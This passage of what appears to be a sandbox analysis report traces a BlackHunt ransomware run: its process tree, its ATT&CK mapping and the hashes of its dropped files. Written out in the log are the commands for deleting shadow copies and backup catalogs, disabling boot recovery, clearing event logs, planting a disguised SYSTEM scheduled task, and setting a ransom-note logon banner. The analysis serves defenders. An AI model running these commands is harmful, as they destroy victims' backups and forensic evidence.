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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:4608
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:3124
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:3852
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:3632
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:5084
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:3376
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1220
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:752
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:4140
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:684
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:528
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:4060
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:4160
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:3444
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵
- Suspicious use of WriteProcessMemory
PID:3912
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2296
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:4148
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe" /F2⤵PID:4828
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe" /F3⤵
- Creates scheduled task(s)
PID:1300
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2300
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3696
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:3748
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3796
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:4396
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:940
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2064
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2240
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:3328
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1620
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1260
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2408
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:4204
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1864
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:3524
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:5036
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:4948
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:4764
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:4976
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1360
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:5748
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:5928
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:5728
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:5956
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:5816
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:5940
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:3800
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:5912
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:5340
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4568
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3972
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3232
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:2868
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4972
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:4536
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:5188
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:5976
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3128
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:5772
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5680
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:288
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:5556
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:4208
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:5620
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2588
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:5792
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:6124
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:6108
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:1608
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:1736
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:3440
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:5840
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:1680
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:5748
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:4452
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:5520
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:1656
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:4940
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:2128
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1944
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:5452
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:5872
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵
- Checks computer location settings
- Modifies registry class
PID:5588 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵PID:2804
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe"2⤵PID:292
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:636
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:4720
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3728
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2684
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:3972
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:4836
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\#BlackHunt_Private.key
- Size 1KB
- SHA256 c3cca5df4a46792f3d8077671c570e398de44aafe5f5113267c19af532fd27b7
- MD5 140e7da4718e09f2b26aea8a7da350df
- SHA1 22aca658774e8ff50874277dbefd252cbb448fa0
- SHA512 a01cb5be97f8e3e5a91caad783d44bf9a7fe7e5419185ac6ad1c1606f43726508723b910b606fa3a46c1261074caf7f73cfd2d1001b9a1ac9dd29c6934ba4a7f
- MD5 SHA1 SHA512
- Path C:\ProgramData\#BlackHunt_ReadMe.hta
- Size 12KB
- SHA256 33a8c4e06b3ee4eae493edcd9fcc419286c18bc2bd5033017336509f7c562b96
- MD5 8bebf5c4683cc0dca59a1c82fbcf628a
- SHA1 cc919250af369e041fda511c53a72364a4e0ca22
- SHA512 d6fb55ef7681e17c81bc4a8d80257df5ca929d1a9c04af0d4b1e9774221b26c1dd85b308087b3bac6bd7a166da8632e2b37f029c164bd7a330ea297d8eda895a
- SSDEEP 192:6zNWVQDnFfSkURroocVPEnvQIl4EsD3nDk/hp9HE96EzIAaXCA/Mn3W9qz6OsQaa:SKAFfFU1QEnk3noZfE9L1aeLzNst46I
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\#BlackHunt_ReadMe.txt
- Size 684B
- SHA256 84f4d9c95848180084b016b493cd29a60ae0fbabc9043d5b8f0b963318042302
- MD5 f3f95eac812f0f53b68bba8fae7a68a6
- SHA1 282707cd60cdd0556d4aeceda1ad404d46935c32
- SHA512 6538cfe08cf0efa843fd790332d3f753be152f0d219027a9e613f252ba73d4eb4f9a77241f7f6babe221f6c91d88b1f05fb384b49373a60fc9c5f85180cc12d6
- MD5 SHA1 SHA512